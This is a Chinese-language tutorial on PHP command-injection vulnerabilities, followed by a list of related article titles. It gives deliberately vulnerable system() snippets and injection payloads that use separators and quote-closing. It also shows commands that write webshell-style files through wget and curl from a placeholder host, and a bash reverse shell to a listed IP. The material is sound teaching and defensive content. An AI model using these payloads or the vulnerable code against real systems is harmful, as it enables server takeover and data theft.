Web安全之命令执行漏洞
内容:
命令执行漏洞的概述
命令执行漏洞的危害
命令执行漏洞的利用
命令执行漏洞的防御
背景介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。
成因
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
相关函数
在PHP中可以调用外部程序的常见函数:
- system(args) 有回显
- passthru(args)(有回显)
- exec(args) (回显最后一行-必须echo输出)
- shell_exec(args) (无回显-必须输出)
- 反引号:``
- popen(handle,mode)(无回显)
- proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
- $process = proc_open(‘dir’,$des,$pipes);
- echo stream_get_contents($pipes[1]);
漏洞危害
- 继承Web服务器程序的权限,去执行系统命令
- 继承Web服务器程序的权限,读写文件
- 反弹shell
- 控制整个网站
- 甚至控制整个服务器
system()函数漏洞利用_1
<?php $arg = $_GET[‘cmd’]; if($arg){ system(“$arg”); } ?>
• /?cmd=id
• /?cmd=pwd
• /?cmd=ifconfig
system()函数漏洞利用_2
<?php $arg = $_GET[‘cmd’]; if($arg){ system(“ping –c 3 $arg”); } ?>
我们能够控制的点是程序的整个参数,我们可以直接用&&或|等等,利用与、或、管道命令来执行其他命令。
• /?cmd=127.0.0.1| ifconfig
System(“ping –c 3 127.0.0.1; ifconfig)
linux 下支持分号 ”;”
|,||,%26,%26%26,
中间加任意字符,后面都会执行-,//,/*/
system()函数漏洞利用_3
<?php $arg = $_GET[‘cmd’]; if($arg){ system(“ls –al \“$arg\””); // ls –al “”;ifconfig;” } ?>
逻辑与短路
<?php if ($a = 100 | $b =100) { \# code... }
// 短路与&&的特点,前面如果为真,才执行后面的,如果为假,都不执行。
// 逻辑与&的特点,前面无论真假,后面都执行
// 短路或||&的特点,前面如果为真,后面的不执行了,前面为假,后面执行
// 逻辑或|前面无论真假,后面都执行
echo "<pre>"; var_dump($a); var_dump($b); ?>
• /?cmd=/home” ; ifconfig;”
• /?cmd=/home” | ifconfig;”
• /?cmd=/home” %26 ifconfig;”
• /?cmd=/home” %26%26 ifconfig;”
system()函数利用_4
<?php $arg = $_GET[‘cmd’]; if($arg){ system(“ls –al ‘$arg’”); } ?>
在单引号内的话,变量不能被解析,因此要想执行命令必须闭合单引号。
• /cmd?=/home’|ipconfig ’
漏洞利用
如果有写权限的话
- 执行pwd得到绝对路径
- 写文件:
• ?cmd=echo"<?php phpinfo()?>" > /var/www/html/info.php
• ?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
• ?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php
反弹shell
公网服务器执行 nc –lvv 8888
目标服务器上执行
• ?cmd= bash -i >& /dev/tcp/211.149.191.5/9999 0>&1
漏洞修复方案
• 能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在disabl_functions中禁用。
• 在进入命令执行的函数或方法之前,对参数进行过滤。
• 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。
- web安全之命令执行与文件包含漏洞
- 常见Web安全问题:XSS、SQL注入、远程命令执行、遍历目录
- Android安全--webview远程代码执行漏洞
- shellshock破壳远程命令执行漏洞复现通过web的方式进行web执行远程代码
- Windows远程命令执行0day漏洞安全预警
- android安全之webview远程代码执行漏洞
- Android静态安全检测 -> WebView组件远程代码执行漏洞检测
- 安全预警 | 知名 Web 应用服务器 Tomcat 信息泄漏和远程代码执行漏洞
- 无线安全审计工具FruityWifi 多处命令执行漏洞
- Web安全之代码执行漏洞
- file include 文件包括漏洞,毒化日志,并生成木马,执行系统命令 dvwa低安全
- web命令执行漏洞
- 通过DVWA学习命令执行漏洞(Command Execution)
- PHPMailer 命令执行漏洞(CVE-2016-10033)分析
- eWebEditor编辑器的安全漏洞
- Android:你所忽略 WebView 带来的那些安全漏洞(总结)
- 快客电邮(QuarkMail)远程命令执行漏洞
- 在执行yiic webapp命令时,就报以下错误了: ‘"php.exe"’ 不是内部或外部命令,也不是可运行的程序或批处理文件。
- 最新然之协同(包含专业版)及喧喧及时聊天系统远程命令执行漏洞详解
- 安卓WebView中接口隐患与手机挂马利用(远程命令执行)